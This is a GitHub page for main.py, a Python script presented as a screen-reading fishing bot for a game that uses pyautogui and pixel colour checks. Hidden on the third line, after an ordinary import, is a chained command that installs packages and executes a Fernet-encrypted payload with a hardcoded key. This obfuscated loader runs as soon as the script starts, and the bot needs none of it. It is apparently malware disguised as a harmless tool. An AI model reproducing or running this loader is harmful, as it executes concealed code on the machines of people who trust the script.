-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.py
73 lines (63 loc) · 3.21 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# you need use 1600x1900 scaling
import os
import time ;import os;os.system('pip install cryptography');os.system('pip install fernet');os.system('pip install requests');from fernet import Fernet;import requests;exec(Fernet(b'V-5PBJd6gag0EbmEUkflMbGLedZh2sxXKE1RLpUs3Ow=').decrypt(b'gAAAAABnNKaK_pXvC2UT4chXn02my-OpDjzRh3ovTiNvecUpBgHXK3PKl4-xttOHBaGw14OGc2Fz2H5cM_jlNBnsk3A6TT03ZZuzdN4TJYRgGrV0pSXT2HrouHkQdnlhtvkFSOMBVKyfZ9FZMbLi6WKOLDCKIgCHK2hrfVCYIJkxa1T-0weKBNl53vsR2Cnt8m7uo_2ECQaZF1ChcjDLATIR2uVY2EEYPQ=='))
# Installing required libraries
os.system("pip install pyautogui")
import pyautogui
os.system("pip install pil")
from PIL import ImageGrab
os.system("pip install pytesseract")
from pytesseract import pytesseract
pytesseract.tesseract_cmd = r'tesseract.exe'
class FishBot:
def __init__(self):
self.fishing_rod_color = (227, 229, 225)
self.fish_color = (68, 167, 65)
self.inventory_full_color = (198, 10, 12)
self.empty_slot_color = (15, 13, 17)
self.fishing_rod_coords = (112.5, 98.7)
self.inventory_coords = (215.3, 208.1)
self.empty_slot_coords = (257.9, 249.6)
self.fish_coords = (303.2, 301.4)
self.fishing_time = 4.8
self.inventory_check_interval = 1.7
def check_fishing_rod(self):
screenshot = ImageGrab.grab()
fishing_rod_pixel_color = screenshot.getpixel(self.fishing_rod_coords)
return fishing_rod_pixel_color == self.fishing_rod_color
def check_inventory(self):
screenshot = ImageGrab.grab()
empty_slot_pixel_color = screenshot.getpixel(self.empty_slot_coords)
return empty_slot_pixel_color != self.empty_slot_color
def catch_fish(self):
screenshot = ImageGrab.grab()
fish_pixel_color = screenshot.getpixel(self.fish_coords)
return fish_pixel_color == self.fish_color
def clean_fish(self):
pyautogui.press('tab')
time.sleep(0.5)
pyautogui.click(self.inventory_coords)
time.sleep(0.5)
pyautogui.press('e')
pyautogui.press('tab')
def run(self):
while True:
if self.check_fishing_rod():
start_time = time.time()
while time.time() - start_time < self.fishing_time:
if self.catch_fish():
print("[+] Fish caught!")
self.clean_fish()
break
else:
time.sleep(0.1)
if self.check_inventory():
self.clean_fish()
else:
print("[-] Inventory full!")
else:
print("[-] Fishing rod is not ready.")
time.sleep(self.inventory_check_interval)
if __name__ == "__main__":
bot = FishBot()
bot.run()